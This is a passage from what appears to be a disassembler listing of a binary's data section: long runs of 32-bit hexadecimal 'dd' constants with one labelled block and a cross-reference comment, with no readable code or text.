		dd 0BBE2B00Eh, 0C802E168h, 0A62070C4h, 47C73C37h, 0EA036D02h
		dd 0B861537Bh, 1FE0FBA4h, 0BD2C8BBh, 0E601FDF0h, 7ABF25E9h
		dd 49987264h, 6D33725Fh, 658CA1ECh, 350C530h, 0C1720D42h
		dd 120C03E7h, 0A6FD41BDh, 593F4096h, 0D7696296h, 0A8E8BD84h
		dd 24508F84h, 0E4EBDF85h
		dd 68B75DB9h, 132FC4FBh, 215A05D5h, 30E1F7F6h, 171EA77h
		dd 24B0B92h, 0F4ACC7C5h, 13F9B310h, 1A04EF83h, 0CC16AC2Ch
		dd 5F7DF862h, 2D4CCB24h, 0F465499Ch, 1EEA0085h,	0CA8914A8h
		dd 0F65413B8h, 2F3FF7EFh, 31C8899Dh, 0C9C8DEFDh, 0C530405Fh
		dd 0CC89F74h, 0CDFB5F9h, 0F704E880h, 0C235D0h, 2502AF78h
		dd 4762196Ah, 180218D2h, 82226FA0h, 0C6FFC292h,	4C480938h
		dd 3D847196h, 0E6B90B61h, 0BD9C5AEEh, 38BB5ABEh, 6F81EDECh
		dd 0F75CEA52h, 7D8E0F32h, 41048E14h, 91372806h,	39A46B02h
		dd 40A30050h, 0FCBF3C65h, 8E485825h, 329EC739h,	0EF03FB8Ch
		dd 55765193h, 40950C06h, 1C247846h, 9DAD041Ah, 1A1CB401h
		dd 14121C08h, 2C092012h, 0CA67FC71h, 726044C9h,	1B016768h
		dd 0B5C9ECF0h, 0B980F09h, 6038F531h, 92B71155h,	1DBB0056h
		dd 98602D0Fh, 4C5B19BAh, 60CA0CDFh, 41B7BE4Ah, 76F8E2D6h
		dd 0E0C1B5DDh, 6E172EAAh, 0AA0366BAh, 53AF545Bh, 0CC450104h
		dd 2009C65Eh, 85958A06h, 13FE57B2h, 2F191C82h, 0C170EDD4h
		dd 26B2615h, 0B8B1E40h,	0D2E1B8A1h, 24872CDAh, 1E0E5466h
		dd 1FBBB292h, 0C4A09787h, 72B2BF1Bh, 0DA92257Bh, 12942057h
		dd 4CD914h, 6583E581h, 0EDD14468h, 18074D5Dh, 0EF978793h
		dd 0A64213C7h, 0D8C4D11Eh, 0FAF6C23Ah, 776909C9h, 54CE0720h
		dd 2676C171h, 7010EE05h, 3AB0379Fh, 340A4B40h, 0FE71FF32h
		dd 1C1D6E9h, 7A558C7Bh,	0E2B3B04Bh, 101211h, 0C5A8B8EEh
		dd 0B0F32901h, 0B3C34FF4h, 0CD444BDBh, 7B0F468h, 0F4E2AE9h
		dd 1824BEB3h, 4D85E2Ch,	41D86FE9h, 0DE42768h, 32D8246h
		dd 3D92D5C3h, 0A747CF77h, 3C00A4F4h, 0E903853Fh, 58A2B265h
		dd 0C3C591B8h, 92DCB258h, 545365EEh, 41645BE6h,	0CB9AE45Ch
		dd 54B57E70h, 0D955528Fh, 9C478BBAh, 0E6F46772h, 0A2A2E0BDh
dword_4F0044	dd 3F8B266Ah, 390A6EFh,	127E4898h, 2F60E3Eh, 89D2F2DDh
					; DATA XREF: ___:00438114o
		dd 0D19D86F0h, 62C1056Dh, 89117B60h, 0C00804A1h, 747DE1A1h
		dd 0F40FCB2Dh, 6D20303Bh, 0DA7F9865h, 1858F11Eh, 160C12D9h
		dd 77C913Fh, 5BD5C232h,	7497BE9Ah, 0C638F8BFh, 7CD4E32h
		dd 0F31C082Dh, 5E97503Bh, 95B07546h, 44070551h,	0EB1216EDh
		dd 0E484EA44h, 0FF5D5405h, 0FFE9283Ch, 5505964h, 0F442868h
		dd 2EC9AA2Eh, 9AE4D660h, 685102A4h, 6BCE7C5Eh, 0F8A9C040h
		dd 1CEC4BDh, 0D43AA3C6h, 0FC555D2Eh, 7EC2E12Dh,	0D8EDC580h
		dd 0C21B933h, 0F63C83C2h, 0BFAC22B7h, 6B460BD2h, 0A4255E9Dh
		dd 0C5F024Bh, 0ED70598Ch, 0B6BD46CEh, 35898EE2h, 0D695C678h
		dd 0AACE6231h, 0C409AF4Ah, 0A21B825Fh, 0A5F97DFCh, 0E9E2B367h
		dd 4C8582Bh, 0D10AC4BDh, 431BD242h, 7D2D0BF5h, 41B74F4Ch
		dd 87DB103Ch, 585BF409h, 0BDEB89h, 1F28C729h, 954B40Ch
		dd 305C01CEh, 0FD696863h, 52101BA3h, 0F4E4C8Fh,	454E7457h
		dd 0B8912FB5h, 0D33807E6h, 0FCF23309h, 0D9C688FFh, 450A6D02h
		dd 0C9DB023Ah, 0B4625707h, 0A5C4FFE8h, 0CBBA0AD2h, 6BBA0011h
		dd 921CF56h, 2E5A60D3h,	11E4F240h, 92D4E0BFh, 99B5E6E9h
		dd 74EC0256h, 0C55D434Dh, 0C6018B94h, 44AFC701h, 0B401DFFDh
		dd 3A43469Bh, 40A0FE29h, 0A1E92D08h, 0A2DCDF09h, 0B749FDD0h
		dd 0D6A597E7h, 0B95613FDh, 0C5ABC4CFh, 90871F16h, 89BB3E83h
		dd 0F87A9E66h, 0E3D10067h, 7D2EF381h, 0F6C014DEh, 0CBC8DA1h
		dd 98E98031h, 0CC5C7BAh, 0E0426D49h, 5728DF68h,	82885647h
		dd 177825BDh, 0B4997B77h, 0D6116DACh, 68BD1351h, 50E97F27h
		dd 0C274A7E7h, 510E56D7h, 7A58FD5Ch, 0DBEF5E49h, 2F133F9Ah
		dd 3184DC5Fh, 47E7C35Eh, 0EB145125h, 0B50FB000h, 0EFB65270h
		dd 0A0EE0980h, 0E0DDCEFEh, 78E9EC5Ch, 920494D0h, 8819E043h
		dd 7325FE7Dh, 0E7B35FE5h, 9276D1D9h, 87015A30h,	500509BFh
		dd 4533893Eh, 5A45EA13h, 0D704FA29h, 890C996h, 0B69EDEFh
		dd 0DF012A44h, 408A888h, 98751068h, 0F132B60h, 0BAE5331h
		dd 9BA230A8h, 4F0222Ch,	3FE6F24Bh, 9FC408D3h, 0D6165B12h
		dd 0F572B00h, 2A68137Dh, 903611CCh, 3A4F7Ch, 68D80149h
		dd 469F204Bh, 6CBF09B0h, 59D85570h, 0D8CECD1Dh,	0EA02522Ch
		dd 5821DB29h, 0EEE91C84h, 19DF2503h, 0E86E5C57h, 1FE9B0CFh
		dd 8666B587h, 69F1BB81h, 4AFBDE59h, 0CDB4A901h,	6961E328h
		dd 0E225123Ah, 11F71FDEh, 91D1C409h, 528B082Eh,	8C7CE204h
		dd 13AAF264h, 7698EA09h, 35BC4110h, 5F32EC1h, 0D9EE29C5h
		dd 2A443AADh, 8A10091Ch, 9F474C02h, 55092958h, 40A5E08h
		dd 0A29356E9h, 64A2648Dh, 2D353C91h, 0EB78D5E8h, 984D6FFCh
		dd 0F44425B2h, 53E793F6h, 7E8BCAC7h, 0B3D9C926h, 0D6C7943Fh
		dd 4AF881A4h, 0B57F5E17h, 1C08069Bh, 0A55B990Bh, 0C1CD84Eh
		dd 276F6171h, 2106160Ch, 0EB012E3Eh, 41088336h,	0B62F140Ch
		dd 332D02F9h, 58C15EB3h, 44132265h, 2C6E4CB7h, 5980BB5Bh
		dd 2FB82562h, 74728DF9h, 8C665F0h, 4CC3CE56h, 5A15B655h
		dd 0A83FA85Bh, 123B9A20h, 646C5D68h, 95F73787h,	86B3AEEAh
		dd 0ADF5E2C4h, 0D88A8BF6h, 895013EEh, 0AF13FEC8h, 0AE2C75BAh
		dd 0CEB99218h, 0FE6F2FC3h, 90055DE0h, 894FA2E0h, 7FCF7F0Bh
		dd 6331796Ch, 5DE37D06h, 547C0905h, 0EFC08101h,	0D6862508h
		dd 0E9FABF60h, 92C07E7Ch, 180A9125h, 5A6CF408h,	3D5310Dh
		dd 80EA04C9h, 2F6C6521h, 0E57D4D6Fh, 0E357A791h, 0BC685D31h
		dd 14C6447Fh, 0ED8100D9h, 5C484BDDh, 2578DD44h,	1475B559h
		dd 8567B003h, 8772B0A9h, 335F9668h, 0B57899CCh,	7B575C42h
		dd 8ED0EE6Ah, 4FD849E9h, 539630BEh, 4900BA52h, 0BB5D0B41h
		dd 1251571Ch, 9D329D1h,	4C57EA4Ah, 170ABFCEh, 44574924h
		dd 54E91780h, 50B6B70Dh, 0F7D786D5h, 2F31B096h,	0C7FE525Dh
		dd 2C0A204Ah, 0B7BDEB97h, 0C7DE06BBh, 0E80414EDh, 853CAFC3h
		dd 0C02AB2BFh, 554765F2h, 4AE6B0C5h, 0C64CC61h,	16B4109h
		dd 0B50E8743h, 68B10E18h, 805BF900h, 8FA89C4h, 0FFB2899Dh
		dd 7ABFD39Ch, 717DA3F0h, 0F8D19F9Ah, 0D8C9981Eh, 5482A28Ch
		dd 260D05Eh, 300E15F9h,	82D1FB89h, 0A05A403Fh, 0B5B97209h
		dd 0A16968D6h, 0D170FA82h, 2CA68E0h, 0E9C403F0h, 0E77EB338h
		dd 0D5B11765h, 92A1B32Bh, 802534ABh, 262A3392h,	0E1817B03h
		dd 0CE541D1Ch, 0ABBD4F92h, 5B68E860h, 0A9C5BF32h, 0FC258FA4h
		dd 0CAF67226h, 0E70DE748h, 0A22E56B8h, 66688214h, 663B543Ah
		dd 0A3814540h, 0E49D6BCEh, 2CEC0F20h, 32B1828h,	10CE9DEh
		dd 95D9BA8Ch, 58720C60h, 2FDFA9E4h, 6EB5F8D8h, 5FCACB54h
		dd 702B4702h, 3FF3186h,	0D0DAB5h, 0AFC8DEF6h, 0E9F13130h
		dd 305465FFh, 0FDB12D6Ch, 7F2D3021h, 135AF714h,	9CFFCCC5h
		dd 9325E978h, 4B1F9A83h, 0C177E1DAh, 4BB2688Eh,	1AE01DEBh
		dd 32FCED04h, 0CA3738E7h, 6889B235h, 699CF691h,	0FA7E300h
		dd 0E918495Eh, 0C88F9F87h, 0DF808644h, 0F3F51F4h, 0CA802B0Dh
		dd 0B7F5E905h, 240AA288h, 14D8C541h, 1F9EEBE4h,	0C8EA8258h
		dd 0F5C3D062h, 16D384B5h, 1146008h, 0E91757FAh,	88AC6805h
		dd 0A424BAD2h, 97FB04BAh, 53BE0719h, 0E402F9A2h, 0FCFB4EADh
		dd 4ECB0Ch, 4619D71Fh, 0C02CB05Dh, 9B30F3CCh, 0FE4B2968h
		dd 792459A2h, 4683C035h, 58B73031h, 0B9810BB7h,	0FF5CFCEh
		dd 33FBF7FAh, 0F1C15E6Eh, 0E5303A6Ah, 82F57CE9h, 2DEB967Fh
		dd 577A2568h, 3DFF7ED2h, 0B4C83BB4h, 0DBBD80C8h, 3CD611Eh
		dd 913095h, 0A0EF73BAh,	0F8D531F4h, 65426227h, 7D7C5453h
		dd 0DD500660h, 0EE810241h, 4C5D5991h, 880EF72h,	0DCAA70E9h
		dd 497F2EF0h, 4F1B5AF4h, 0B83C1F59h, 5E9E8B36h,	6EF1B1E3h
		dd 0FE87F821h, 0BCF60204h, 0BF808664h, 0B4942AF2h, 0D7297F05h
		dd 0E3E0F9E9h, 0CF951405h, 0C72ED5EFh, 5E1F1034h, 0DCD004ABh
		dd 0FF5D09B6h, 77311445h, 8E2452E9h, 29D34DF7h,	0C6AC2A7Ah
		dd 0F30B9FBDh, 253BC755h, 0B576207Dh, 0F211864Ah, 0C1E925CBh
		dd 5E5E0A05h, 0B6F348DDh, 118192Ch, 2FE6A06h, 0B75351CFh
		dd 0FC188CDh, 0C159E530h, 72D83AF8h, 992F4D2Ch,	0B82CBC4Eh
		dd 12F85A68h, 0CA71FFEFh, 7220F329h, 0CE974B68h, 0EED1137Bh
		dd 0F298900h, 26E93571h, 0CBF1E243h, 3CDE2540h,	5823870Bh
		dd 120A7848h, 5385913h,	0FCBF85DDh, 0C1CA9654h,	6DCEE91Ch
		dd 0DFFCF79Ch, 5A177DB6h, 0A30FA97h, 96321162h,	0B34513D2h
		dd 99B05AEEh, 72E22968h, 0C5FA1324h, 4184FBB4h,	1CD620BBh
		dd 0E1099980h, 0F6CAA9E9h, 0EC54E93Bh, 5051055Ch, 8AAF89E9h
		dd 0B5034F89h, 7C654762h, 0B6190C0h, 4EE36CE7h,	35BC8106h
		dd 4CA3EA02h, 55015737h, 5E097573h, 0AD9B5174h,	0B2849432h
		dd 76500BB6h, 5358F8EDh, 0CBD5D49Fh, 169977F0h,	0B3BB71E5h
		dd 887D17D5h, 0EB13A1FDh, 4E970BB5h, 0ED6C8555h, 0AFED0EB1h
		dd 0C0419ADCh, 49DBCADBh, 16F62CE4h, 5F50FE65h,	0F6CE73E2h
		dd 6B5B1E59h, 0D1F6C612h, 125AD312h, 6D8AFCAh, 30BE802Ch
		dd 2A847BAAh, 4B7A9893h, 5F2D131Fh, 9CB16356h, 0F4E59D3Fh
		dd 0F9C4E311h, 0FF13B4C5h, 0D5D61A1Ch, 977823F2h, 2C2700D0h
		dd 12BDE76Bh, 0CC7C0B56h, 0BAE717E8h, 222E1805h, 2EBD7F7h
		dd 2FDAE91Ah, 2D86D8Ah,	214C2A3Fh, 3B097CD9h, 973614ACh
		dd 5D527356h, 3F66ED49h
		dd 0F98D2284h, 28D98F05h, 5D7A707Fh, 0B8045057h, 46C836C3h
		dd 2A049FC5h, 416FFA1h,	3053C6Fh, 99E4F580h, 0EDD837CDh
		dd 7C589892h, 0B2C74CAAh, 90C60B12h, 8F26FEDCh,	0C2893218h
		dd 9A596950h, 0E104E047h, 82A0E37Bh, 751C5709h,	0E98B7553h
		dd 0BE41A033h, 5E203C7Ah, 68D0A066h, 25D8E74Eh,	0C328E9EAh
		dd 0B52D1AC2h, 5EDB778h, 0E54C3BE8h, 16698404h,	650FE24Dh
		dd 0C3C70656h, 5F4804B2h, 8305924Ah, 0F29AA41h,	0A5025F09h
		dd 22EF655h, 58E58D5h, 0E715Dh,	0A03D69F2h, 0B524E916h
		dd 0C9A885CFh, 47E8CC02h, 0F1D929F7h, 0D8E98712h, 61FA0935h
		dd 217D6BDh, 9B1BA721h,	59FD82D7h, 0A065CE57h, 0B5F57874h
		dd 0DC2729D1h, 0C365A513h, 0D403F581h, 24842168h, 8CDC7BE9h
		dd 0FA7C2DFBh, 0F363643Ah, 46EF6A02h, 0D4C3BFE9h, 407B9F43h
		dd 0FB8902BCh, 3407B95Fh, 0E917BE09h, 1279FE6h,	122486C7h
		dd 0E3EF0123h, 5D080B95h, 621408D5h, 0A082E989h, 3953BAD7h
		dd 0E3E9F9F4h, 2F308335h, 58670543h, 2DC8294Ah,	913F20C4h
		dd 24310981h, 9FBAF44h,	7A81803Ch, 9DFCA4E9h, 768B5C20h
		dd 0AFD02817h, 5F253Fh,	7018BBF2h, 4326019Dh, 52CCE381h
		dd 0DA7FDA27h, 50E91206h, 1EAAD8E7h, 0ED6FE641h, 0F0838903h
		dd 34332DAFh, 7A648FD6h, 14CC8FCh, 5FD2127Ch, 489BBD3h
		dd 6051B43Fh, 5659D960h, 2D7E2BBEh, 5FD02F11h, 0B1A20173h
		dd 0D1C50B09h, 0AB2EE989h, 594B026Ah, 41F2DF31h, 0F3C01E5Eh
		dd 0F68EFB8h, 0FB355344h, 0D1811E0h, 97015A59h,	0D99D2D41h
		dd 813B3C69h, 6BF021E8h, 0BE92DEFCh, 0EC4AF99Eh, 4B37E39Dh
		dd 26D9A80Fh, 748286F7h, 0F88012FEh, 0D389FC78h, 4C192C24h
		dd 31E41954h, 0B1E813C4h, 0B74F2FAh, 5EA1EE80h,	0B65200A3h
		dd 0B704E90Dh, 2BF24C4h, 10C31EF8h, 44A96AAEh, 51680E0h
		dd 77B479Eh, 2368395Fh,	5364E940h, 12AB5891h, 4124AB02h
		dd 3646C301h, 722040E1h, 685E01BCh, 0E9FE019Fh,	5235249Dh
		dd 0F0427CB7h, 0EA170BC3h, 5200CFF1h, 776C2507h, 823425E9h
		dd 82435027h, 73F69688h, 0F4EB7E64h, 0EC2C38F1h, 0F9139159h
		dd 0A7070B31h, 0EEC2AB81h, 6A6BED29h, 80651B5h,	66AC241Ch
		dd 1E1A2FE5h, 1826C8FCh, 632FE780h, 54AFE901h, 0AA2A8C0Eh
		dd 4F2858BEh, 9700C8F9h, 347E3718h, 92B9A0Ch, 0F9014BCDh
		dd 34081708h, 5F14090Ch, 0D3F3C47Dh, 0E452FC57h, 0AAA5FBECh
		dd 680CF6A2h, 549F7D06h, 0D224F24Eh, 7722381h, 0A2C167C8h
		dd 0A380F78Ch, 756D2074h, 0C50BB390h, 1C5A2Ah, 0B1611B07h
		dd 0F1211A07h, 0E260325Eh, 87C09C33h, 744776C6h, 0E00CC11Fh
		dd 20664843h, 0BED9EB26h, 2D02B0C8h, 59B247Dh, 0FBAD56FAh
		dd 0D647EB04h, 7C27FA17h, 48B60DA3h, 0FC1603FFh, 0D6F1F3C5h
		dd 9EE99761h, 0B8098A68h, 978F3984h, 0BE5B2644h, 0D9826425h
		dd 5E6801D8h, 10242603h, 0B107C33Ah, 954AB098h,	84BCF0h
		dd 0D64578BFh, 16ACB832h, 0F8444ECBh, 0D4171284h, 0F004AB42h
		dd 0C313C17Eh, 0F7D0BEEh, 0FCAC0962h, 0EAF327DCh, 80410927h
		dd 639A484h, 9B89810h, 13EC3647h, 0D001870Eh, 7E01EFFBh
		dd 0FE286304h, 5E0FB6A7h, 92C45157h, 0E428EF10h, 48660105h
		dd 0F8291B3Eh, 1707452Dh, 0D88EBE70h, 6012A743h, 58DBFEDh
		dd 0BD2FBA21h, 0F7466907h, 0E8F8769Ch, 45963B91h, 3026B30Bh
		dd 127E07BFh, 4028EEh, 792C2D4Ah, 0D138F755h, 2412C049h
		dd 132225BAh, 0BD00403Dh, 2A67266Eh, 49FD872Dh,	0E835F65h
		dd 7E3BF581h, 66FF13D3h, 0C1030646h, 0F1E903E5h, 0D59D2E29h
		dd 5A4806E2h, 28E01368h, 8A490090h, 81AE2D03h, 5DEA3168h
		dd 0A78B046Fh, 4C20C8CDh, 5AFBB12h, 296409AAh, 0A81A5102h
		dd 0EBE62425h, 9813EB4Bh, 4B5FD08Ch, 848CB851h,	0B5AAF129h
		dd 3FD4F198h, 79C1F3F4h, 6D64274Eh, 198A35E8h, 37A7D39Fh
		dd 2D38C270h, 23B0D45h,	0FACFDBC5h, 0F8E257DFh,	8A8CE6D7h
		dd 22C864DBh, 0C305E6BAh, 34BC6D5Bh, 7AE4F4EEh,	0B44B4E90h
		dd 0D57296B1h, 13718410h, 12AA39BAh, 0CE43A1F3h, 0CF089A82h
		dd 0EC07550Bh, 0D6E6398Fh, 0B33E21F0h, 0C0A5A571h, 2F280ECh
		dd 5EAC018h, 0BB56DAF6h, 0D9E950C0h, 0DD6DBF07h, 98567227h
		dd 0A5EAB65Ah, 7F723A5Ch, 0B5925351h, 26287E30h, 140B4A65h
		dd 0D5316496h, 619C5073h, 96E16A45h, 9799B23Eh,	0EB52CC95h
		dd 491F2BBBh, 580ED0D9h, 48EE27DCh, 0EFDFE914h,	93DDA82Bh
		dd 0C2A20E09h, 1AC9DD48h, 0A0C93C52h, 4850FA68h, 0E100FC6h
		dd 25BC73BAh, 7BE1C467h, 0BB04296Dh, 31BD0305h,	8464BBEh
		dd 65B9E600h, 0CC176B4h, 1A305A67h, 6193126Fh, 39B1C49Dh
		dd 64EF0191h, 5B6D5226h, 9BE257Bh, 0C6508679h, 5EF5291Eh
		dd 37122C0Dh, 0CB35F4F9h, 0AD0EA86Bh, 8262E26Fh, 6B781FE9h
		dd 1044B3ECh, 16388C15h, 0A229515Eh, 2A56D340h,	4D663ECDh
		dd 396EED2Ch, 0D8FB2920h, 0B0D5DE61h, 0CF985F7Ch, 97EE5D4Ch
		dd 5A53B30Fh, 7E8C1C0h,	6002500Dh, 96E929BDh, 6190DC24h
		dd 8813FC68h, 0B7F849Bh, 577CF729h, 0AD03844Fh,	12459CFEh
		dd 968FD40h, 71A70ADDh,	5D5037Dh, 4BC39881h, 0E97A0929h
		dd 0D95AA862h, 4AE7AB38h, 0BB3774BBh, 417FE6DDh, 9362D11h
		dd 0CD084060h, 2E227852h, 0A46CF801h, 1C10D00Ch, 85059192h
		dd 937438E4h, 0CE41C004h, 51D938EAh, 0D2CE5E97h, 2AD0A0C1h
		dd 0FC3ACE31h, 3AF72Bh,	4CB4BDB3h, 55BDC30h, 8058E188h
		dd 15CE82ECh, 7D600BDFh, 0D7289F67h, 4CF6C5BFh,	0DD8AF17Dh
		dd 0DE069022h, 9443A74h, 0A07A1EE1h, 7B0AEB57h,	1F3D6E66h
		dd 0FEA41B13h, 4F8714E6h, 0C60BDE9Bh, 0B209B37Eh, 0C6A789D7h
		dd 456839F4h, 56F1214Eh, 0CCDFD65Ah, 0EBA2A08Ah, 0E92795ABh
		dd 0B3EE8AFh, 62D98749h, 4CB76E8h, 0EE6E1B95h, 809DBEC0h
		dd 0EC574FD8h, 0E57F10CFh, 44A06802h, 0BDDA7B90h, 8F2D527Ah
		dd 0CAB6D948h, 2E532501h, 0F69D4A28h, 5AF48B7Fh, 0D625D265h
		dd 0D6430805h, 4572BF01h, 0C17B3725h, 7E927C46h, 0C8B6CEC1h
		dd 5A01F4D8h, 9459A3FDh, 5DE317D1h, 66C9B0BDh, 5C455454h
		dd 0E2818F47h, 63773611h, 0DEF26082h, 0B943C9DFh, 67DDD8D2h
		dd 0E680453h, 9D2CBA0Ah, 0A65F5F53h, 0E4E90005h, 115A43Ch
		dd 685528F9h, 4FB0FA08h, 0C97CE8D7h, 57455754h,	597A6C89h
		dd 0A102FFBh, 0CE9F7640h, 0AAEF252Dh, 0BF6C30FDh, 4F7C3B2Ch
		dd 5C5D5730h, 59711E0Bh, 16956818h, 0E1D71069h,	0D2D5F37Eh
		dd 0BE1828B6h, 0BD6668CCh, 3A6EEA3Ah, 0E82F7C29h, 424BD9E0h
		dd 0B8A7EF54h, 0A47CC0EEh, 0D648291Dh, 6A084176h, 41E4D345h
		dd 0B07ADD9Dh, 0CC000503h, 4DC72D43h, 405C87h, 0EB65420Dh
		dd 17162554h, 2D03CA0Ch, 5AE90B02h, 2194B0D7h, 9C744C9Fh
		dd 45DB0C22h, 664F591Eh, 1C79DFECh, 0C0E0F580h,	0EE8858EDh
		dd 0F14ED1E9h, 59C93AADh, 0D2E957B8h, 42D8AC4Fh, 6F42457Ch
		dd 1AE9D8D0h, 5127C557h, 0CB24C3B1h, 0F68C40DDh, 738379EAh
		dd 0C04159B0h, 0E7149661h, 277C6EA6h, 3D79BA26h, 207E8D88h
		dd 28360FA8h, 0D364205Fh, 777CA930h, 0B416A75Fh, 25EA14AEh
		dd 535B590Fh, 0B751F707h, 14C8D6F9h, 0DAC3E915h, 8BF6288Eh
		dd 303DF31Eh, 0CAFE1EBFh, 0C29ED29Eh, 0C33D4DFDh, 160A1868h
		dd 921B0BA5h, 607706D6h, 0E3381CB8h, 0F6173B68h, 84F5E266h
		dd 59A2F451h, 2D3BE780h
		dd 690025Bh, 0D1734228h, 603AD98h, 95601725h, 2440A810h
		dd 90785C80h, 595CB720h, 0F531E214h, 0A78046AAh, 49E2CA7Ch
		dd 24B371FCh, 0B807196Fh, 1421F809h, 1E7C0580h,	79D2C268h
		dd 7EA8EE2h, 1BE1E8E0h,	26F1548h, 266BD4C5h, 0EB025525h
		dd 0D7C8790h, 0EED10382h, 52DA7F57h, 0DF5A42B5h, 8C70AD0h
		dd 55A6874Fh, 0D58C823Ah, 5F49B779h, 0B2958F96h, 1994E3B5h
		dd 0D8C26446h, 84D26853h, 718DE763h, 0B85B54F4h, 8B4DEB96h
		dd 21C8A682h, 0F8DD78B2h, 0CCF06BC8h, 2F7BE7D7h, 449AEF1h
		dd 2B954ABBh, 0C84EEBCh, 6ABF042Bh, 0C276C4EAh,	0E50FB13Dh
		dd 8CBFA888h, 231734FCh, 3F291ACAh, 0B1D50C06h,	2F716D29h
		dd 0B07E53DDh, 83985141h, 0B7BBF35h, 9A5123B1h,	8A2FB739h
		dd 0A1FE327Ch, 374FC05Bh, 0D7C1775h, 642B129h, 19091C08h
		dd 55229705h, 76FDC631h, 4A8340BBh, 306CE89Dh, 284C2501h
		dd 475D86C0h, 13CA74D4h, 27A72936h, 9FD99C4Ah, 217B9C41h
		dd 7FA7E7E0h, 91F5BCD9h, 931DFB04h, 24A0D1D6h, 7F490678h
		dd 70D9214Eh, 0F0C10E29h, 26628198h, 603C2F08h,	720BDF4h
		dd 6CE6DAB7h, 56FA330Fh, 6FF9475Bh, 73694106h, 62090C79h
		dd 0F5131B7Ah, 34088028h, 2014240Ch, 136B4D20h,	685A662Fh
		dd 9DB5D1D2h, 2FF6DECEh, 0D16E360h, 0B823A1h, 465B0557h
		dd 0EC253DB3h, 7BDB6800h, 9120402Dh, 9DA8B239h,	0FE0C574Ch
		dd 5FC23DE9h, 0F1AF3DF7h, 0A5FECAA5h, 276F6708h, 0B09B8075h
		dd 0B06D7E0Bh, 0DAC696Ch, 7B95EE58h, 5AA92281h,	0AB0A16D8h
		dd 0BCE0C304h, 17FB2D00h, 18CA405Fh, 45270705h,	0C41D37B0h
		dd 0DF84FA23h, 18ED0714h, 68242CBBh, 0F35B5B84h, 962D8488h
		dd 10F98AEEh, 0B9002839h, 26871E19h, 0A705C381h, 29276741h
		dd 8A15281h, 3A371D41h,	28C11AF4h, 16DC05EFh, 0AE163473h
		dd 8EF7E682h, 50D163EDh, 7022791Dh, 0A460342Ah,	721E81B8h
		dd 0D68802EDh, 0EEF11680h, 0D7AB145h, 0E38561BBh, 0B4C1043Dh
		dd 0F5F7B237h, 74719CEEh, 5E68A640h, 786BB33Bh,	57D14E4Fh
		dd 800634BCh, 279FF834h, 811CF80Dh, 8156DC6Bh, 0ECDB3FFDh
		dd 4DCFB95Eh, 0FF9D18EFh, 5E36D947h, 583CE031h,	8B2B5B81h
		dd 8ADC5F44h, 30A1F1Ah,	0EBCB010Eh, 3A1FFC43h, 0E448F1E3h
		dd 90575B25h, 48D6F7C6h, 0D911BE87h, 16CF02E7h,	8074F263h
		dd 0FE1CB3BDh, 0EFD12434h, 1601189Fh, 6505E054h, 5FFA211Dh
		dd 0F27540BEh, 50423776h, 0F10B6890h, 8323B457h, 88B951D4h
		dd 0FC65E512h, 453809C1h, 53D0BDCFh, 0D688CFB4h, 2BD830F4h
		dd 1D586879h, 0CBC12430h, 171C0480h, 1054851h, 0DBD61090h
		dd 323198E9h, 0D1ADCDB2h, 4B35E63Ah, 0BA4975BEh, 94692698h
		dd 0AF662695h, 9FCE3E77h, 0DCEB84FEh, 98C42BEh,	0A051DABh
		dd 0DB13A45Fh, 714C2DF2h, 12790483h, 0C1AC6913h, 17CE7379h
		dd 1288362h, 661821C7h,	0B3A94064h, 24C0AD1Ah, 0AE4CA2F6h
		dd 412A988Ah, 979A2B05h, 3874AB4Eh, 792001EAh, 20729A05h
		dd 0E441873Fh, 4D9DD500h, 0AA5B6127h, 0EEF544AFh, 0E9AE1107h
		dd 97E0F72Bh, 0D106AC06h, 8020E963h, 0EDE25C6Dh, 0AB583217h
		dd 0F2010495h, 53BC1A4Eh, 6B34043Bh, 0E5C10675h, 2DC505D0h
		dd 0FFD98447h, 0D0A75FD2h, 0EAE1BFCAh, 0E55F2B28h, 0A7DBC149h
		dd 6E72DE83h, 0D0BFA727h, 7E4F80E2h, 41FB68FEh,	433F868h
		dd 0F6401185h, 4D780EBDh, 96A6B65Ch, 334845Dh, 8D5BE90Ch
		dd 7DF3BF84h, 0AC521292h, 4BF939Ah, 0C0A332A9h,	3154E581h
		dd 609EA2Dh, 0EE60502h,	623A4BDAh, 0DD40F5C0h, 80977327h
		dd 33FF5FCFh, 55E7C058h, 9DCCE954h, 0AB22CA9Ah,	7A9E6Ch
		dd 190AF2B9h, 0F1378173h, 0CFF20DF6h, 0CCCD8359h, 13C1711h
		dd 0B31004FEh, 37FC13A8h, 0C0B49B40h, 19BDCAB5h, 3798155Fh
		dd 0F57DE8B7h, 3C541214h, 0E0AC74h, 475A6F38h, 0F50DFF7h
		dd 297956B8h, 2C2EFF2h,	4DE921FDh, 745F7B0Ch, 81A5F1EEh
		dd 793568B1h, 9E8B63Fh,	0FD0BFE26h, 10FCF05h, 0FBE9F4FFh
		dd 683985E2h, 0C1343DCBh, 968F81EFh, 0D1BFA09Ah, 1CAF5318h
		dd 2C9C260Ch, 8B3A0EE0h, 9F18700Dh, 6A54C968h, 0E91B5625h
		dd 0F0497145h, 0B143DA2h, 8E1C120h, 1C510906h, 254CAC4Ch
		dd 928071A5h, 6FBFF1DDh, 88B037FCh, 6F55E913h, 179B62B1h
		dd 37BFED54h, 0F32C442Bh, 392E1009h, 7B2BE9C2h,	0DDDB900h
		dd 1A5EBE06h, 0C15D0DDFh, 8C2933B6h, 150E24Bh, 32104086h
		dd 8D3A4481h, 2F080084h, 65101F05h, 0E9097C29h,	57A9E66h
		dd 1E3A217Ch, 59C8134Dh, 16CA07ABh, 0B0459527h,	0F383544h
		dd 2BA1CB8Ah, 8156F360h, 4D8C6059h, 4FFE1F40h, 0A2C887C7h
		dd 0D144B941h, 16375A5Fh, 0EED63EE4h, 0D5FE97CAh, 5F23D2E3h
		dd 694FE03Ah, 0EDF37E1Fh, 36D85F0Ch, 0B9C539BAh, 262B8726h
		dd 0A9EC0C98h, 58975D1Ah, 49051E03h, 315380DDh,	0F09FE9C6h
		dd 0F4BF52C0h, 0F8756619h, 9A56F8C7h, 4E4B95FCh, 0B90049EAh
		dd 120E29BEh, 244C3109h, 94B2BAFEh, 168E897h, 0E97B1036h
		dd 88A5C825h, 0F03132D5h, 0CD969D98h, 92625225h, 35B87535h
		dd 0BA6EFDE9h, 0F8C3CBDBh, 0E78005D8h, 12CFFE5Bh, 6AC38D8Ah
		dd 71017ADh, 0B2680BA2h, 35483012h, 9434B7C7h, 40FE569Dh
		dd 606C7851h, 0D0B051B0h, 2E95D658h, 3042ABAAh,	9F97A0E0h
		dd 952C0C78h, 67C1B602h, 60D32FE1h, 9B97C5E3h, 4BBBA5EEh
